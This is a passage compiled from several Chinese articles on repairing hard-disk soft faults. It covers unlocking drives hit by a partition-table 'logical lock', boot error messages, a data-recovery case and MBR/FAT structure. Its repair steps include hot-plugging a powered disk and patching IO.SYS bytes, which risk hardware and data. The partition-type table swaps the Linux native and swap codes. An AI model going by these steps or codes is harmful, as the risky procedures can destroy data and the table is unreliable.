__怎么样?用这种方法处理够简单的吧?而且这种方法还有一个好处就是可以保住盘上的数据!如果你不需要保数据的话,还有更加简单的处理方法:
__
__方法三:巧设BIOS,用DM解锁
__
__大家知道DM软件是不依赖于主板BIOS的硬盘识别安装软件(所以在不能识别大硬盘的老主板上也可用DM来安装使用大容量硬盘)。就算在BIOS中将硬盘设为“NONE”,DM也可识别并处理硬盘。
__
__首先你要找到和硬盘配套的DM软件(找JS要或去网上荡),然后把DM拷到一张系统盘上。接上被锁硬盘,开机,按住DEL键,进CMOS设置,将所有IDE硬盘设为“NONE”(这是关键所在!),保存设置,重启动,这时系统即可 “带锁”启动。启动后运行DM,你会发现DM可以绕过BIOS,识别出硬盘,选中该硬盘,分区格式化,就OK了。这么简单?不过这种方法的弱点是硬盘上的数据将全部丢失。
__
__方法四:对硬盘进行热拔插
__
__在加电热拔插之前应该先做好了一切的准备,并尽可能想一下会出现的问题,把硬盘的电源线先给拔松了一点,防止在热拔插时拔不出来,那就遭了,不过也不能太松不然会找不到硬盘的,找一张软盘启动盘,并插到软驱里,加电开机,看着熟悉的画面,心中尽管有些激动,但你的手可千万不要抖啊,不然硬盘烧掉就惨了!眼睛牢牢盯住你的显示器,软驱灯亮之前(就是要在DOS自举之前并且装入硬盘驱动后,)按下键盘上的“PAUSE”!再把硬盘上的电源线的给拔掉,然后就恢复暂定,一直到DOS启动完成出现DOS提示符的时候,这时你再把电源线给插到硬盘上去,这时如果硬盘没坏的话,就会发现已经可以用磁盘分区工具FDISK命令来查看硬盘的分区表了,不过没有这么简单,里面的分区表已经被逻辑炸弹给恶意修改了,只能查看不能修改也不能删除而且一团糟,用普通的办法还是不能解决的,此时只有用DEBUG来手工恢复了!具体方法同方法二。不过只能修复C盘也就是主引导分区,因为扩展分区已经修改了。恢复了以后,硬盘就可以用FDISK把主引导分区的其它空间分成扩展分区与逻辑盘了。一切OK!
__

__方法五:利用分区表备份恢复
__
__这是最简单的方法,在平时将硬盘的分区表备份一个(没有的话,找一个与之相同型号的硬盘的分区表也可以),万一硬盘被逻辑炸弹干掉了,用软盘都起不动的话,可以在BIOS里将硬盘设为“NONE”,启动后,将分区表的备份恢复回去,然后将硬盘的设置改回来,从新启动fdisk就可以了。以上的工作,不需要找什么特别的软件,一般的杀毒软件,如瑞星,KV3000都可以的。还有,如果有条件,最好装一块硬盘保护卡,可以对付绝大部分的病毒,至少,系统不会被破坏--出了问题,冷启一下就可以了。像CIH这样直接修改BIOS数据的都可以恢复。
__
__方法六:用硬盘逻辑锁解锁程序
__
__如果硬盘被锁死的症结根源在于DOS中的IO.SYS文件,它包含LOADER、IO1、IO2、IO3四个模块,其中IO1中包含有一个很关键的程序SysInt_I,它在启动中很固执,非要去读分区表,而且不把分区表读完誓不罢休。如果碰上分区表是循环的,它就只有死机了(通常硬盘分区表被锁住以后,形成一个闭合的循环链,IO.SYS从链头读起,试图读取所有分区的信息,从而形成死循环。如果修改IO.SYS文件,这样读的第十个扇区结尾处不是55 AA,就认为不是一个逻辑分区的主引导记录,停止读盘,跳出死循环链。我们用UltraEdit打开C:\IO.SYS,查找“b9 01 00 cd 13”(MS Dos6.22只有一处,Win98有2处要修改),改为“b9 10 00 cd 13”。不过,这样操作后,这样即使硬盘分区表是完好的,启动后也不认硬盘。所以修改IO.SYS以后,如果要正常访问硬盘还要将IO.SYS恢复原状。)。很明显,这是DOS的脆弱性和不完备性。其实这也不能怪DOS,因为DOS为了获得硬盘使用权,就必需读分区表参数,而且DOS还约定驱动器号不能超过26,只不过没有考虑到此等循环分区表情形。一句话,机子不能启动不过是DOS操作系统造成的,如果另写一个操作系统,或许就能启动机子。当然这只是说个笑话。
__
__明白了病因在于DOS,问题就好办了。DOS启动中不是要读硬盘分区表吗?我不让你读分区表甚至连硬盘都不让你读,不就可以顺利启动了。的确是这样的,开硬盘锁的程序实现方法就是基于这个思想形成的。当然,这只有从软盘启动着手了。
__
__我们当然不用自己去动手编制这样的程序了,因为已经有好心的网友提供了这样的程序,以下为某网友编制的硬盘逻辑锁解锁程序,对付硬盘逻辑锁非常有用,下载地址:
__
__ftp://202.110.213.90/wenxinjy/fix-io.rar,含源代码及目标程序,共1020字节。
__
__使用方法:如果你的硬盘被老王的逻辑锁给锁住了,把这个小工具复制到你的引导盘上,运行它Modify一下,然后用它来引导被锁的机器。一切OK。注意修复硬盘后Restore回来。当然你运行它时,软驱要打开写保护啦。
__

硬盘故障大致可分为硬故障和软故障两大类。 硬故障即PCBA板损坏、盘片划伤、磁头音圈电机损坏等。由于硬故障维修要 求的基本知识及维修条件较高,需要由专业技术人员才能解决,所以在本文中不 作讨论。
软故障即硬盘数据结构由于某种原因,比如说病毒导致硬盘数据结构混乱甚 至不可被识别而形成的故障。一般来说,主板BIOS硬盘自动检测(IDE HDD AUTO  DETECTION)功能能够检测到硬盘参数,均为软故障。
一般情况下,硬盘在发生故障时系统会在屏幕上显示一些提示信息,所以我 们可以按照屏幕显示的提示信息找到故障原因,有针对性地实施解决方案。
★ 常见的硬盘启动出错信息及分析处理 ★
① Non-System disk or disk error,replace disk and press a key to  reboot (非系统盘或盘出错)
出现这种信息的原因一是CMOS参数丢失或硬盘类型设置错误造成的。只要进 入CMOS重新设置硬盘的正确参数即可。二是系统引导程序未装或被破坏。重新传 递引导文件并安装系统程序。
② Invalid Partition Table(无效分区表)
造成该故障的原因一般是硬盘主引导记录中的分表有错误,当指定了多个自 举分区(只能有一个自举分区)或病毒占用了分区表时,将有上述提示。
主引导记录(MBR)中包括引导程序、分区表和结束标志“55 AA”三个部分 ,共占一个扇区。主引导程序中含有检查硬盘分区表的程序代码和出错信息、出 错处理等内容。当硬盘启动时,主引导程序将检查分区表中的自举标志。若某个 分区为可自举分区,则有分区标志“80”,否则为“00”,系统规定只能有一个 分区为自举分区,若分区表中含有多个自举标志时,主引导程序会给“Invalid  Partition Table”的错误提示。最简单的解决方法是用硬盘维护工具来修复, 例如:用NU 8.0 NDD修复,它将检查分区表中的错误,若发现错误,将会询问是 否愿意修改,你只要不断地回答“YES”即可修正错误,或者用备份过的分区表 覆盖它也行。如果是由于病毒感染了分区表,即使是高级格式化也解决不了问题 ,可先用杀毒软件杀毒,再用硬盘维护工具进行修复。
如果用上述方法也不能解决的话,还可利用FDISK重新分区,但分区大小必 须和原来的分区一样,这一点尤为重要,分区后不要进行高级格式化,然后用 NDD进行修复。这样既保证硬盘修复之后能启动,而且硬盘上的数据也不会丢失 。其实用FDISK分区,相当于用正确的分区表覆盖掉原来的分区表。尤其当用软 盘启动后不认硬盘时,这招特灵。
③ Error Loading Operating System(装入DOS引导记录错误)
Missing Operating System(DOS引导记录损坏)
造成该故障的原因一般是DOS引导记录出现错误。DOS引导记录位于逻辑0扇 区,是由高级格式化命令FORMAT生成的。主引导程序在检查分区表正确之后,根 据分区表中指出的DOS分区的起始地址,读DOS引导记录,若连续五次都失败,则 给出“Error Loading Operating System”的错误提示;若能正确读出DOS引导 记录,主引导程序则会将DOS引导记录送入内存0:7c00h处,然后检查DOS引导记 录的最后两个字节是否为“55 AA”,若不是这两个字节,则给出“Missing  Operating System”的提示。一般情况下可以用硬盘修复工具(如NDD)修复, 若不成功只好用FORMAT C:/S命令重写DOS引导记录。
④ No ROM Basic,System Halted(不能进入ROM Basic,系统停止响应)
造成该故障的原因一般是硬盘主引导区损坏或被病毒感染,或是分区表中无 自举标志,或是结束标志“55 AA”被改写。执行FDISK/MBR可以生成正确的引导 程序和结束标志覆盖硬盘上的主引导程序。但FDISK/MBR不能对付所有由引导区 病毒感染而引起的硬盘分区表损坏的故障,详见《引导型病毒的原理与 FDISK/MBR的正确使用》,应该谨慎使用。对于分区表中无自举标志的故障,可 用NDD迅速恢复。
⑤ HDD controller failure Press F1 to Resume(硬盘控制器失效,按F1 键重启)
出现上述信息应该属于硬件故障,应该重点检查硬盘有关的电源线、数据线 的接口有无松动、接触不良、信号线接反等,其次还要检查硬盘的跳线是否设置 错误,
⑥ FDD contreller failure HDD contrller failure Press any key to  Resume(软、硬盘控制器失效,按任意键重新启动)
也属于硬件故障,通常是连接软、硬盘的I/O部分接触不良或有损坏,这个 比较麻烦,轻的还可修理,严重的搞不好就得换配件了。
另外,当运行了“HAPPY NEW YEAR 1999”硬盘“逻辑锁”程序以后会在DOS 窗口出现“YOUR COMPUTER HAS BEEN LOCKED DOWN BY XXXXXX,PLEASE RESTART  YOUR SYSTEM”的信息,系统在重新启动自检完后就会停止。著名的“KV300逻辑 炸弹”也属于此类。
因为计算机在引导DOS系统时将会搜索所有逻辑盘的顺序,当DOS被引导时, 首先要去找主引导扇区的分区表信息,就是位于硬盘0面0头1扇区的0BEH地址开 始的地方,如果分区信息开始的地方为80H,这表示是主引导分区,其它的为扩 展分区。主引导分区被定义为逻辑C盘,然后查找扩展分区的逻辑盘,被定义为D 盘,以此类推找到E、F、G盘……“逻辑锁”就是在此下手,修改了正常的主引 导分区记录,将扩展分区的第一个逻辑盘指向自已,DOS在启动时查找到第一个 逻辑盘后,搜索下一个逻辑盘时总是找到自已,这样一来就形成死循环。这就是 硬盘中了“逻辑锁”后用软驱、光驱、双硬盘都不能正常启动的原因。用相应的 解锁工具才能解开硬盘“逻辑锁”,如果用DM软件虽然可以解开,但解开之后的 硬盘数据将不复存在。
对于一般用户,当硬盘发生软故障时往往不知所措,但又想让硬盘在短时间 内恢复工作。如果问题不太严重的话,我们可以按照以下的逐一排除法来解决。
★ 硬盘软故障排除的一般步骤 ★
① 检查主板BIOS中硬盘工作模式,看是否正确设置硬盘。
② 用相应操作系统的启动盘启动计算机。
③ 检查硬盘分区结束标志(最后两个字节)是否为“55 AA”;活动分区引 导标志是否为“80”。我们可以利用一些工具来查看,例如:KV3000,可用其F6 功能查看,用F10功能自动修复。或用Fdisk/MBR重建分区表。
④ 用杀毒软件查、杀病毒。
⑤ 如果硬盘无法启动,可用系统盘传送系统文件(SYS C:回车)。
⑥ 运行Scandisk命令或NU 8.0 NDD以检查并修复FAT表或DIR区的错误。
⑦ 如果软件运行出错,可重新安装操作系统及应用程序。
⑧ 如果软件运行依旧出,可对硬盘重新分区、高级格式化以后重装系统。 必要时可对硬盘进行低级格式化。
《硬盘软故障完全修复手册--数据结构篇、分析排除篇、维护工具篇》
原创作者:张芫珲 蔡宇镝 陈智罡 晓周 王江民 胡南迪 吴永键 董泽华 龚胜  王琦
整理汇编:瑞星3001

《 {数据硬盘恢复经验} 》

{  硬盘作为用户存储数据的主要场所,其最大的用途莫过于存储数据,但有时往往由于用户操作不当,造成用户数据的丢失。如果对于普通用户,数据对用户相对而言并不重要,那么丢了就丢了,没有太大关系;但如果数据对用户很重要(对于这类用户,应经常备份数据),这时数据丢失了怎么办呢?此文就是通过一次对硬盘数据的恢复过程来简要说明一下硬盘数据恢复的方法,希望能对大家恢复硬盘数据有一定的帮助。
  相关概念
  MBR(Main Boot Record)即主引导记录区,它位于整个硬盘的0磁道0柱面1扇区,包括硬盘引导程序和分区表。
  DBR(Dos Boot Record)即操作系统引导记录区,通常位于硬盘的0磁道1柱面1扇区,是操作系统可直接访问的第一个扇区,它也包括一个引导程序和一个被称为BPB(BIOS Parameter Block)的本分区参数记录表。每个逻辑分区都有一个DBR。
  FAT(File Allocation Table)即文件分配表,是DOS、Windows9X系统的文件寻址格式,为了数据安全起见,FAT一般做成两个,第二FAT为第一FAT的备份。
  DIR是Directory即根目录区的简写,DIR紧接在第二FAT表之后。有关硬盘存储结构的详细介绍,可参考我在《电脑报》1999年第20期的文章《硬盘数据结构一瞥》。
  估计数据丢失原因:
  1.安装多系统引导软件后,异常操作造成。
  2.遭到某种病毒感染。数据丢失前状态:2.5GB硬盘,原分区为:C:2GB+D:500MB,D盘装有重要数据。两分区均为FAT16格式。
  数据丢失过程
  一次系统重启后,D盘丢失。
  数据丢失后的操作
  该客户曾用Fdisk重新分区,试图按原分区大小再造分区,未果。但没有格式化D盘,只格式化了C盘并重装系统。
  客户的数据修复要求
  恢复D盘根目录下“数码相机”目录内所有文件。
  所用工具:
  NORTON DISK DOCTOR:diskedit.exe
  数据修复过程:
  一、数据备份 主要包括物理0磁道各扇区,各分区逻辑0磁道,FAT表和根目录区等,再配以GHOST备份各分区的数据区。
  二、分析该硬盘的主引导扇区MBR(包括主分区表和引导程序)、各分区的引导扇区DBR、FAT表及根目录区。
  由于已经重新分区并能顺利启动C盘(抛开病毒原因),故MBR的逻辑结构应该没问题,通过Diskedit命令察看MBR所在的0磁道第一扇区,证实估计正确,但现分区表与原分区表是否完全一致,还不能确定。
  通过分区表,可以查找到各分区的引导扇区所在的物理位置,分析后可确定C盘的各项重要数据(引导扇区、第一FAT表、第二FAT表、根目录区)均没有异常,但D盘除了引导扇区DBR外、上述的其他数据均无法对应,DBR之所以无异常,是因为重新分区的结果,而FAT1、FAT2和根目录区面目全非的原因,大致应该有两种可能:一是现分区与原分区不一致,导致数据对不上号;二是数据已被病毒破坏。
  由于在察看MBR时,发现0磁道的其他扇区留有不明程序的残余代码,通过察看其中的一些显示信息,可以判定是某种多系统软件留下的,说明客户曾经安装过多系统管理软件。这样大致可以排除病毒破坏分区的可能,分区丢失应该是异常操作多系统管理软件引起的。
  三、寻找原有分区 根据前面的分析,由于客户在数据丢失后又进行了重新分区,而且估计现有的分区与原来的分区不一致,这样无疑加大了数据修复的难度,但幸好没有格式化D盘,因为如果单单只是Fdisk,只会改写原硬盘的各分区的第一扇区。如果这个扇区不落在原分区的重要参数区(DBR、FAT、根目录)上,那么修复的成功率还是挺高的。接下来就是寻找原有D盘的重要数据区了。根据客户提供的资料可知,原D盘根目录下有一个叫“数码相机”的子目录,于是用DISKEDIT提供的搜索功能,搜索“数码相机”对应的十六进制代码,可以找到原有D盘的根目录区。历时30分钟,通过过滤搜索结果,最终找到该根目录所在的扇区,然后顺藤摸瓜,向前翻过两个FAT表(根据经验大概400个扇区~500个扇区)找到原D盘DBR所在的扇区,接着再向前翻63个扇区,找到原D盘的分区表,至此,最困难的问题攻克了。
  四、重建主分区表 因为客户后来用Fdisk重新建立的主分区表与原来的分区表并不一致,故必须手工重建原分区表,通过前面找到的原D盘分区表和原D盘的DBR,可以计算出主分区表,包括各分区的起始、结束扇区、分区大小、分区类型等。算出结果后,改写0磁道1扇区的主分区表。
  五、重启系统,出现原D盘,所有文件基本全部恢复。拷贝出“数码相机”目录,做好备份。通知客户取回数据。
  说明:
  1.数据备份时,不要过分相信GHOST,GHOST只认正确的分区,对于隐藏的分区它不会复制。对于不正确的分区,它会报告错误并停止复制过程。GHOST并非一个纯粹意义上的全盘复制软件,它只复制那些FAT表上存在的文件,并非复制磁盘上所有的数据!
  2.走运的是,该客户重新分的D盘刚好比原D盘大几个磁道,故新的D盘分区表被建在原C盘最后端的数据区中。所以本次维修基本上可以说100%地恢复了原D盘的数据。
  3.更走运的是,该客户没有重新格式化D盘,不然就不可能有那么高的恢复率了。
  给读者的建议
  在硬盘数据出现丢失后,请立即联系当地的数据修复公司。最好不要再对硬盘进行写操作,那样会增大修复的难度,也影响到修复的成功率。
(甘肃 晓周)}

数据恢复预备知识  

--------------------------------------------------------------------------------

  说到数据恢复,我们就不能不提到硬盘的数据结构、文件的存储原理,甚至操作系统的启动流程,这些是你在恢复硬盘数据时不得不利用的基本知识。即使你不需要恢复数据,理解了这些知识(即使只是稍微多知道一些),对于你平时的电脑操作和应用也是很有帮助的。
  我们就从硬盘的数据结构谈起吧……

  硬盘数据结构

  初买来一块硬盘,我们是没有办法使用的,你需要将它分区、格式化,然后再安装上操作系统才可以使用。就拿我们一直沿用到现在的Win9x/Me系列来说,我们一般要将硬盘分成主引导扇区、操作系统引导扇区、FAT、DIR和Data等五部分(其中只有主引导扇区是唯一的,其它的随你的分区数的增加而增加)。

  主引导扇区

  主引导扇区位于整个硬盘的0磁道0柱面1扇区,包括硬盘主引导记录MBR(Main Boot Record)和分区表DPT(Disk Partition Table)。其中主引导记录的作用就是检查分区表是否正确以及确定哪个分区为引导分区,并在程序结束时把该分区的启动程序(也就是操作系统引导扇区)调入内存加以执行。至于分区表,很多人都知道,以80H或00H为开始标志,以55AAH为结束标志,共64字节,位于本扇区的最末端。值得一提的是,MBR是由分区程序(例如DOS 的Fdisk.exe)产生的,不同的操作系统可能这个扇区是不尽相同。如果你有这个意向也可以自己去编写一个,只要它能完成前述的任务即可,这也是为什么能实现多系统启动的原因(说句题外话:正因为这个主引导记录容易编写,所以才出现了很多的引导区病毒)。

  操作系统引导扇区

   OBR(OS Boot Record)即操作系统引导扇区,通常位于硬盘的0磁道1柱面1扇区(这是对于DOS来说的,对于那些以多重引导方式启动的系统则位于相应的主分区/扩展分区的第一个扇区),是操作系统可直接访问的第一个扇区,它也包括一个引导程序和一个被称为BPB(BIOS Parameter Block)的本分区参数记录表。其实每个逻辑分区都有一个OBR,其参数视分区的大小、操作系统的类别而有所不同。引导程序的主要任务是判断本分区根目录前两个文件是否为操作系统的引导文件(例如MSDOS或者起源于MSDOS的Win9x/Me的IO.SYS和MSDOS.SYS)。如是,就把第一个文件读入内存,并把控制权交予该文件。BPB参数块记录着本分区的起始扇区、结束扇区、文件存储格式、硬盘介质描述符、根目录大小、FAT个数、分配单元(Allocation Unit,以前也称之为簇)的大小等重要参数。OBR由高级格式化程序产生(例如DOS 的Format.com)。

  文件分配表

  FAT(File Allocation Table)即文件分配表,是DOS/Win9x系统的文件寻址系统,为了数据安全起见,FAT一般做两个,第二FAT为第一FAT的备份, FAT区紧接在OBR之后,其大小由本分区的大小及文件分配单元的大小决定。关于FAT的格式历来有很多选择,Microsoft 的DOS及Windows采用我们所熟悉的FAT12、FAT16和FAT32格式,但除此以外并非没有其它格式的FAT,像Windows NT、OS/2、UNIX/Linux、Novell等都有自己的文件管理方式。

  目录区

  DIR是Directory即根目录区的简写,DIR紧接在第二FAT表之后,只有FAT还不能定位文件在磁盘中的位置,FAT还必须和DIR配合才能准确定位文件的位置。DIR记录着每个文件(目录)的起始单元(这是最重要的)、文件的属性等。定位文件位置时,操作系统根据DIR中的起始单元,结合FAT表就可以知道文件在磁盘的具体位置及大小了。在DIR区之后,才是真正意义上的数据存储区,即DATA区。

  数据区

  DATA虽然占据了硬盘的绝大部分空间,但没有了前面的各部分,它对于我们来说,也只能是一些枯燥的二进制代码,没有任何意义。在这里有一点要说明的是,我们通常所说的格式化程序(指高级格式化,例如DOS下的Format程序),并没有把DATA区的数据清除,只是重写了FAT表而已,至于分区硬盘,也只是修改了MBR和OBR,绝大部分的DATA区的数据并没有被改变,这也是许多硬盘数据能够得以修复的原因。但即便如此,如MBR/OBR/FAT/DIR之一被破坏的话,也足够咱们那些所谓的DIY老鸟们忙乎半天了……需要提醒大家的是,如果你经常整理磁盘,那么你的数据区的数据可能是连续的,这样即使MBR/FAT/DIR全部坏了,我们也可以使用磁盘编辑软件(比如DOS下的DiskEdit),只要找到一个文件的起始保存位置,那么这个文件就有可能被恢复(当然了,这需要一个前提,那就是你没有覆盖这个文件……)。

  硬盘分区方式

  我们平时说到的分区概念,不外乎三种:主分区、扩展分区和逻辑分区。

  主分区是一个比较单纯的分区,通常位于硬盘的最前面一块区域中,构成逻辑C磁盘。在主分区中,不允许再建立其它逻辑磁盘。

  扩展分区的概念则比较复杂,也是造成分区和逻辑磁盘混淆的主要原因。由于硬盘仅仅为分区表保留了64个字节的存储空间,而每个分区的参数占据16个字节,故主引导扇区中总计可以存储4个分区的数据。操作系统只允许存储4个分区的数据,如果说逻辑磁盘就是分区,则系统最多只允许4个逻辑磁盘。对于具体的应用,4个逻辑磁盘往往不能满足实际需求。为了建立更多的逻辑磁盘供操作系统使用,系统引入了扩展分区的概念。

  所谓扩展分区,严格地讲它不是一个实际意义的分区,它仅仅是一个指向下一个分区的指针,这种指针结构将形成一个单向链表。这样在主引导扇区中除了主分区外,仅需要存储一个被称为扩展分区的分区数据,通过这个扩展分区的数据可以找到下一个分区(实际上也就是下一个逻辑磁盘)的起始位置,以此起始位置类推可以找到所有的分区。无论系统中建立多少个逻辑磁盘,在主引导扇区中通过一个扩展分区的参数就可以逐个找到每一个逻辑磁盘。

  需要特别注意的是,由于主分区之后的各个分区是通过一种单向链表的结构来实现链接的,因此,若单向链表发生问题,将导致逻辑磁盘的丢失。

  数据存储原理

  既然要进行数据的恢复,当然数据的存储原理我们不能不提,在这之中,我们还要介绍一下数据的删除和硬盘的格式化相关问题……

  文件的读取

  操作系统从目录区中读取文件信息(包括文件名、后缀名、文件大小、修改日期和文件在数据区保存的第一个簇的簇号),我们这里假设第一个簇号是0023。

  操作系统从0023簇读取相应的数据,然后再找到FAT的0023单元,如果内容是文件结束标志(FF),则表示文件结束,否则内容保存数据的下一个簇的簇号,这样重复下去直到遇到文件结束标志。

  文件的写入

  当我们要保存文件时,操作系统首先在DIR区中找到空区写入文件名、大小和创建时间等相应信息,然后在Data区找到闲置空间将文件保存,并将Data区的第一个簇写入DIR区,其余的动作和上边的读取动作差不多。

  文件的删除

  看了前面的文件的读取和写入,你可能没有往下边继续看的信心了,不过放心,Win9x的文件删除工作却是很简单的,简单到只在目录区做了一点小改动--将目录区的文件的第一个字符改成了E5就表示将改文件删除了。

  Fdisk和Format的一点小说明

  和文件的删除类似,利用Fdisk删除再建立分区和利用Format格式化逻辑磁盘(假设你格式化的时候并没有使用/U这个无条件格式化参数)都没有将数据从DATA区直接删除,前者只是改变了分区表,后者只是修改了FAT表,因此被误删除的分区和误格式化的硬盘完全有可能恢复……

  系统启动流程

  各种不同的操作系统启动流程不尽相同,我们这里以Win9x/DOS的启动流程为例。

  第一阶段:系统加电自检POST过程。POST是Power On Self Test的缩写,也就是加电自检的意思,微机执行内存FFFF0H处的程序(这里是一段固化的ROM程序),对系统的硬件(包括内存)进行检查。

  第二阶段:读取分区记录和引导记录。当微机检查到硬件正常并与CMOS设置相符后,按照CMOS设置从相应设备启动(我们这里假设从硬盘启动),读取硬盘的分区记录(DPT)和主引导记录(MBR)。

  第三阶段:读取DOS引导记录。微机正确读取分区记录和主引导记录后,如果主引导记录和分区表校验正确,则执行主引导记录并进一步读取DOS引导记录(位于每一个主分区的第一个扇区),然后执行该DOS引导记录。

  第四阶段:装载系统隐含文件。将DOS系统的隐含文件IO.SYS入内存,加载基本的文件系统FAT,这时候一般会出现Starting Windows 9x...的标志,IO.SYS将MS.SYS读入内存,并处理System.dat和User.dat文件,加载磁盘压缩程序。

  第五阶段:实DOS模式配置。系统隐含文件装载完成,微机将执行系统隐含文件,并执行系统配置文件(Config.sys),加载Config.sys中定义的各种驱动程序。

  第六阶段:调入命令解释程序(Command.com)。系统装载命令管理程序,以便对系统的各种操作命令进行协调管理(我们所使用的Dir、Copy等内部命令就是由Command.com提供的)。

  第七阶段:执行批处理文件(Autoexec.bat)。微机将一步一步地执行批处理文件中的各条命令。

  第八阶段:加载Win.com。Win.com负责将Windows下的各种驱动程序和启动执行文件加以执行,至此启动完毕。

  数据恢复的基础知识到此就给你介绍得差不多了。如果你领会了以上的这些知识,相信加上工具软件的辅助,恢复你丢失的数据简直是轻而易举,这里就不再多说,我们走入真正的实战操作吧……

一.数据的存储:

    硬盘是现在计算机上最常用的存储器。我们都知道,计算机之所以神奇,是因为它具有高速分析处理数据的能力。而这些数据都被以文件的形式存储在硬盘里。不过,计算机可不像人那么聪明。在读取相应的文件时,你必须要给出它相应的规则。这就是分区概念的形成。 分区从实质上说就是对硬盘的一种格式化。当我们创建分区时,就已经设置好了硬盘的各项物理参数,指定了硬盘主引导记录(即MasterBootRecord,一般简称为MBR)和引导记录备份的存放位置。而对于文件系统以及其他操作系统管理硬盘所需要的信息则是通过之后的高级格式化,即Format命令来实现。

图1

图2

    硬件分区后,将会被划分为面、磁道和扇区。需要注意的是,这些只是个虚拟的概念,并不是真正在硬盘上划道子^_^。先从面说起,硬盘一般是由一片或几片圆形薄膜叠加而成。我们所说,每个圆形薄膜都有两个"面"(Side),这两个面都是用来存储数据的。按照面的多少,依次称为0面、1面、2面。。。。。。由于每个面都专有一个读写磁头,也常用0头(head)、1头。。。。。称之。按照硬盘容量和规格的不同,硬盘面数(或头数)也不一定相同,少的只有2面,多的可达数十面。各面上磁道号相同的磁道合起来,称为一个柱面(cylinder)(见图1)。上面我们提到了磁道的概念。那么究竟何为磁道呢?大家都知道,读写硬盘时,磁头依靠磁盘的高速旋转引起的空气动力效应悬浮在盘面上,与盘面的距离不到1微米(约为头发直径的百分之一)。由于磁盘是旋转的,则连续写入的数据是排列在一个圆周上的。我们称这样的圆周为一个磁道(Track)。(见图2)如果读写磁头沿着圆形薄膜的半径方向移动一段距离,以后写入的数据又排列在另外一个磁道上。根据硬盘规格的不同,磁道数可以从几百到数千不等;一个磁道上可以容纳数KB的数据,而主机读写时往往并不需要一次读写那么多,于是,磁道又被划分成若干段,每段称为一个扇区(Sector)。一个扇区一般存放512字节的数据。扇区也需要编号,同一磁道中的扇区,分别称为1扇区,2扇区。。。。这里需要注意的是,硬盘在划分扇区时,和一般的软盘有一定的区别。软盘的一个磁道中,扇区号依次编排,即2号与1号相邻,3号与2号相邻,以此类推。而在硬盘的一个磁道中,扇区号是按照某个间隔跳跃着编排的。我们举一个例子来说明:在某个硬盘上,以实际存储位置而论,2号扇区并不是1号扇区后的第一个,而是第5个,3号扇区又是2号扇区后的第5个,以此类推。这个"5"就是我们说的交叉因子。(见图3)当然,这个交叉因子的设定并不是绝对的,每个种类的硬盘为根据自身的情况加以变化。选择适当的交叉因子,可使硬盘驱动器读写扇区的速度与硬盘的旋转速度相匹配,提高存储数据的速度。

图3

    计算机对硬盘的读写,处于效率的考虑,是以扇区为基本单位的。即使计算机只需要硬盘上存储的某个字节,也必须一次把这个字节所在的扇区中的512字节全部读入内存,再使用所需的那个字节。不过,在上文中我们也提到,硬盘上面、磁道、扇区的划分表面上是看不到任何痕迹的,虽然磁头可以根据某个磁道的应有半径来对准这个磁道,但怎样才能在首尾相连的一圈扇区中找出所需要的某一扇区呢?原来,每个扇区并不仅仅是由512个字节组成的,在这些由计算机存取的数据的前、后两端,都另有一些特定的数据,这些数据构成了扇区的界限标志,标志中含有扇区的编号和其他信息。计算机就凭借着这些标志来识别扇区(见图4)。

图4

硬盘数据结构:

    在上文中,我们谈了数据在硬盘中的存储的一般原理。为了能更深入的了解硬盘,我们还必须对硬盘的数据结构有个简单的了解。硬盘上的数据按照其不同的特点和作用大致可分为5部分:MBR区、DBR区、FAT区、DIR区和DATA区。我们来分别介绍一下:

(1)MBR区:

    MBR(Main Boot Record),按其字面上的理解即为主引导记录区,位于整个硬盘的0磁道0柱面1扇区。不过,在总共512字节的主引导扇区中,MBR只占用了其中的446个字节(偏移0--偏移1BDH),另外的64个字节(偏移1BEH--偏移1FDH)交给了DPT(Disk Partition Table硬盘分区表)(见下表),最后两个字节"55,AA"(偏移1FEH- 偏移1FFH)是分区的结束标志。这个整体构成了硬盘的主引导扇区。大致的结构如图5:

图5

    主引导记录中包含了硬盘的一系列参数和一段引导程序。其中的硬盘引导程序的主要作用是检查分区表是否正确并且在系统硬件完成自检以后引导具有激活标志的分区上的操作系统,并将控制权交给启动程序。MBR是由分区程序(如Fdisk.com)所产生的,它不依赖任何操作系统,而且硬盘引导程序也是可以改变的,从而实现多系统共存。

偏移
长度
所表达的意义

0
字节
分区状态:如0-->非活动分区
     80--> 活动分区

  
   

1
字节
该分区起始头(HEAD)

2

该分区起始扇区和起始柱面

4
字节
该分区类型:如82--> Linux Native分区
       83--> Linux Swap 分区

  
   

5
字节
该分区终止头(HEAD)

6

该分区终止扇区和终止柱面

8
双字
该分区起始绝对分区

C
双字
该分区扇区数

    在这里我们可以看到,最前面的"80"是一个分区的激活标志,表示系统可引导;"01 01 00"表示分区开始的磁头号为01,开始的扇区号为01,开始的柱面号为00;"0B"表示分区的系统类型是FAT32,其他比较常用的有04(FAT16)、07(NTFS);"FE BF FC"表示分区结束的磁头号为254,分区结束的扇区号为63、分区结束的柱面号为764;"3F 00 00 00"表示首扇区的相对扇区号为63;"7E 86 BB 00"表示总扇区数为12289622。

(2)DBR区:

    DBR(Dos Boot Record)是操作系统引导记录区的意思。它通常位于硬盘的0磁道1柱面1扇区,是操作系统可以直接访问的第一个扇区,它包括一个引导程序和一个被称为BPB(Bios Parameter Block)的本分区参数记录表。引导程序的主要任务是当MBR将系统控制权交给它时,判断本分区跟目录前两个文件是不是操作系统的引导文件(以DOS为例,即是Io.sys和Msdos.sys)。如果确定存在,就把其读入内存,并把控制权 交给该文件。BPB参数块记录着本分区的起始扇区、结束扇区、文件存储格式、硬盘介质描述符、根目录大小、FAT个数,分配单元的大小等重要参数。DBR是由高级格式化程序(即Format.com等程序)

(3)FAT区:

    在DBR之后的是我们比较熟悉的FAT(File Allocation Table文件分配表)区。在解释文件分配表的概念之前,我们先来谈谈簇(cluster)的概念。文件占用磁盘空间时,基本单位不是字节而是簇。簇的大小与磁盘的规格有关,一般情况下,软盘每簇是1个扇区,硬盘每簇的扇区数与硬盘的总容量大小有关,可能是4、8、16、32、64。。。

图6

    通过上文我们已经知道,同一个文件的数据并不一定完整地存放在磁盘的一个连续的区域内,而往往会分成若干段,像一条链子一样存放。这种存储方式称为文件的链式存储。(见图6)硬盘上的文件常常要进行创建、删除、增长、缩短等操作。这样操作做的越多,盘上的文件就可能被分得越零碎(每段至少是1簇)。但是,由于硬盘上保存着段与段之间的连接信息(即FAT),操作系统在读取文件时,总是能够准确地找到各段的位置并正确读出。不过,这种以簇为单位的存储法也是有其缺陷的。这主要表现在对空间的利用上。每个文件的最后一簇都有可能有未被完全利用的空间(称为尾簇空间)。一般来说,当文件个数比较多时,平均每个文件要浪费半个簇的空间。

